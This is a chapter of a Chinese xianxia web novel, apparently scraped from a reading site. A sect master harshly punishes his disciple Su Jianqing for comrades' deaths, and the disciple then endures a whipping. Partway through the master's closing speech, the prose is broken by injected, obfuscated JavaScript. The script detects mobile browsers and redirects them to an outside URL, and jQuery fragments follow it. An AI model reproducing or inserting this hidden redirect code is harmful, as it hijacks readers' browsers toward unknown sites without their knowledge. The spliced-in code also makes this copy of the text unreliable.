食铁兽十分高贵冷艳,连个眼风都没给他,一门心思啃竹子。
齐岱今日见多了冷脸,倒也没在意,绕着食铁兽转一圈,目光落在它光秃猩红的后背,口中一嘶,眉头感同身受拧起,“这伤可不轻啊,你是被苏师弟救回来的?”
苏见清不在,蕴禾想去尝尝半月楼的烤鸡,可面前这人实在不识相。
主人都走了,还留在这儿干嘛?
蕴禾食指一挥,食铁兽放下啃了一半的竹子,四肢落地,脑袋对着齐岱,做出凶狠的攻击表情。
齐岱吓一跳,脚步后退,嘟囔一声,“怎么这么凶。”
食铁兽大吼一声,一步步朝他走去。
驱赶的姿势这么明显,齐岱还能看不出来?
他无奈后退,“行行行,我走,我马上走。”
唤出本命灵剑,齐岱足尖一跃落在剑上,嘟囔道:“这人和兽都一样不识好人心,难怪能凑一对。”
这话蕴禾听得一清二楚,眸光一厉,一道妖气朝齐岱打去。
“啊!”
半空中,齐岱的身形突然一歪,直直从云端跌落,发出惨烈的叫声,“银霜,我的宝贝银霜,快接住我啊——”
蕴禾朝他丢个白眼,瞧了乖巧坐回去继续啃竹子的食铁兽一眼,施施然驱使青羽下山。
伏渊的护山大阵对她来说就像一层薄纱,蕴禾顺利下山,去寻那家名为“半月楼”的酒楼。
……
苏见清跟随小弟子,一路往沉霄峰去。
到达峰上洞府外,小弟子自行离去,剩苏见清独自入内。
玄陵仙尊的洞府共有三座宫殿,一座待客,一座起居,剩余一座存放书籍玉简与为弟子授课。
主殿外是一块演武场,左右两侧分别矗立着两道威猛身影,是玉雕的两只凶兽,穷奇、饕餮。凶兽怒目而张,威风凛凛,细看时眼中异彩连连,仿佛活过来一般。
玄陵喜樱,峰上种了满山樱花,伏渊仙山并无四季之分,沉霄峰的樱花常年盛开,花瓣随风而舞,似粉蝶翩跹。
伏渊仙门祖师爷定下规矩,需在每代弟子中挑选出最出色的两位,一人担任伏渊掌门,掌管宗门要事,另一人负责护卫宗门安全,位同副掌门。
因此,掌门典淮所在的长离主峰布局与沉霄峰一模一样,只是比沉霄稍大些。
玄陵仙尊性子冷,对待弟子最是严厉不过,哪怕沉霄峰美如仙宫,却无人敢在此放肆。
唯有一人例外。
“师尊,听说师兄斩杀了元婴期的魔族,好生厉害,也不知我何时才能像师兄那般威风。”
行至殿门口,里头传来少女软糯甜美的嗓音。
苏见清脚步不停,眼睑半垂步入殿内。
大殿之上,玄陵坐于首位,一袭白色长袍,银发一丝不苟地束于玉冠中,他看着年纪极轻,不像玄清域名震修真界的大乘期大能,倒像是话本子里光风霁月的世家子弟。俊美无俦的脸上平淡无波,气质卓绝,缥缈出尘得宛如不近人情的谪仙。
轻抬眸时,眸底似有剑意纵横,驱散了因出色外表带来的惊艳,只觉剑意凛然,危险十足,不愧是伏渊第一人。
玄陵身侧坐着一名少女,与他同色的白袍,做工却精致许多。丛丛菡萏在她裙摆绽放,银线绣成的腰封裹着不盈一握的腰身,娇俏纯美的脸上一派娇憨,举手投足间,是被疼爱着长大的天真肆意。
是苏见清的嫡亲师妹,褚潇潇。
“你啊,要是肯乖乖练剑,说不准还有希望,但如今嘛,啧啧……”
玄陵下首,一身红衣的典淮摇着羽扇,俊美风流,挂着调侃笑容。
“师叔!”少女不依,“我修炼分明很认真的!”
玄陵开口,“潇潇还小,心性不定,修炼之事不可急躁。你作为师叔,该鼓励才是。”
典淮暗暗翻了个白眼,“……你就惯着她吧。”
静静听完三人谈话,苏见清缓步而进,朝上见礼,“师尊,师叔。”
而后淡声道:“师妹。”
融洽的氛围骤然被打破,生起些许尴尬。
典淮举着羽扇,正要打破一室凝滞,忽然听见威严二字落下。
“跪下。”
苏见清清透明净双眼不含丝毫情绪,干脆利落地掀袍跪在殿中。
典淮眉头一皱,“师兄,见清刚回来,你这是作甚?”
玄陵置之不理,目光逼视苏见清,“我与你说过什么,你可还记得?”
苏见清跪着,声音清冷,“斩妖魔,护伏渊,佑玄清。”
玄陵再问:“此次我伏渊平安归来的弟子有几人?”
苏见清语气低沉,“三人。”
“剩下的弟子去了何处?!”
玄陵骤然发怒,大殿内灵气震荡,灵压直冲苏见清而去。
挺直的腰背弯了一瞬,苏见清紧抿双唇,咽下口中腥气。
典淮摇扇的动作顿住,皱眉道:“师兄,有话好好说。”
见玄陵沉着脸,他余光瞥向缩着肩膀有些害怕的褚潇潇,“别吓着潇潇。”
少女面色略带惊慌,看着他的目光有些小心翼翼,像是生怕将他触怒。
玄陵收敛气息,嗓音里仍带着怒,“回话。”
苏见清哑然,面色沉肃,“剩下三名师兄死于魔修之手,遗体已由齐师兄带回安葬。”
“死了三名弟子。”玄陵厉声,“你就是这样保护同门的?”
“若你如此不堪大用,往后如何护卫伏渊,乃至于整个玄清域?又如何对得起本尊与伏渊多年来的悉心栽培?!”
大殿之上,冷冽的嗓音声声质问,胸腔仿佛被挤压,五脏六腑似渗出了血。
苏见清死死忍住漫上喉咙的血腥气,叩拜下去,“弟子知错,未能护佑同门平安归来,辜负了师尊的期望。”
“既已知错,自去领罚。”
玄陵冷下脸,“三十道噬魂鞭,一道也不能少。”
“师兄!”
“师尊!”
典淮与褚潇潇同时出声。
“三十道噬魂鞭,这刑罚也过重了。”
“是啊师尊。”褚潇潇附和,“师兄不过是金丹,能在两名元婴的围攻下逃生已是侥幸,师尊就别再罚他了。”
玄陵不近人情,“谁敢求情,再加十鞭。”
典淮与褚潇潇只得噤声。
“弟子遵命。”
苏见清又是一拜。
玄陵目如冷霜,无声凝视苏见清须臾,“此次除魔所获的灵石,均分三等赠给死去弟子的家人,你可有意见?”
苏见清:“并无。”
“嗯。”玄陵不再看他,抬手一挥,“去吧。”
苏见清起身,缓步朝外走。
快走出大殿时,耳边有风送来无奈叹息,“莫怪本尊对你严厉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716881|173757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你命格独特,若不严加鞭策,待到浩劫降临,如何能担得起整个玄清域的生死?”
一字一言,谆谆教诲,皆是真心实意。
苏见清身形微顿,并未回头,一脚踏出殿门。
西边太阳降落,橘红色霞光倾斜而下,照亮他眉宇阴影。
……
“啪!”
一鞭落下,苏见清身子猛震,疼得满头冷汗。
他面无表情,脊背挺得直,仿佛永远不会倒下的青松。
“二十八。”
“啪!”
“二十九。”
“啪!”
“三十。”
尾音刚落,苏见清猛地一头栽下。
裸露在空气中的白皙后背沟壑交错,血肉模糊。鲜血与糜烂的衣料混杂在一处,猩红可怖。
他强撑着抬头,清隽脸庞一片惨白,冷汗不断从侧脸滑落。
执法长老收了噬魂鞭,肃着脸道:“回去养伤吧。”
“多谢长老。”
苏见清咬牙,撑着膝盖起身。
他浑身失力,起到一半,身子骤然倒地。
一双手将他扶住,苏见清艰难转眸,正对上一双盛满担忧的眼睛。
典淮:“能起吗?师叔送你回去。”
一滴汗从额角滑落,苏见清声音虚弱地恭敬唤道:“师叔……”
“师叔,师兄!”
清脆女声由远及近,一道身影跑入刑堂,忧心忡忡问:“师兄,你怎么样,能走吗?”
褚潇潇攥住腰间芥子囊,“我和师叔陪你回青竹峰上药。”
典淮惊讶,“潇潇,你怎么来了。”
“我不放心师兄。”
褚潇潇噘着嘴抱怨,“师尊也真是的,师兄刚刚死里逃生,他偏要惩罚,也不知道他怎么想的。”
一只手握住典淮,虚弱而坚定地拂开他,苏见清拖着一身的伤,脚步艰难往外走。
“不必劳烦师叔了,我自己可以回去。”
典淮皱下眉,厉声呵斥,“伤成这样还逞强!”
“师兄你——”
话音未断,苏见清已御剑离去。
褚潇潇跺跺脚,“师兄怎么这么倔!”
典淮沉着脸,良久,沉沉一叹。
……
浑身上下都在疼,尤其是神识,仿若针扎。苏见清视线模糊,强撑着御剑。
身旁经过的伏渊弟子纷纷对他侧目,窃窃私语声聚集。
“苏师兄这是怎么了?不是刚回来,怎么一身的血?”
“那个方向是刑堂?苏师兄为何受罚?”
“嘶,伤成这样还能御剑,不愧是苏师兄啊。”
苏见清将所有议论声甩在身后,忍着身上与识海内翻天覆地的疼痛疾速飞回青竹峰。
眼前阵阵发昏,天地旋转,冷汗密密麻麻堆在额上。
迷蒙视线触及那座熟悉的山峰,苏见清心里的劲一泄,御剑诀一松,身形倏地栽下。
长虹剑身大亮,自动护主,托着苏见清的身子将他放在竹屋前的草地上。
不远处,食铁兽坐在青竹堆里,身上地下皆是碎屑。
它抱着竹子,啃得两耳不闻窗外事,哪怕是苏见清从天空坠下也没得它一眼。
看着它伤势未愈的后背,晕过去前,苏见清默默想道。
没了灵石,他怎么替它换更好的丹药?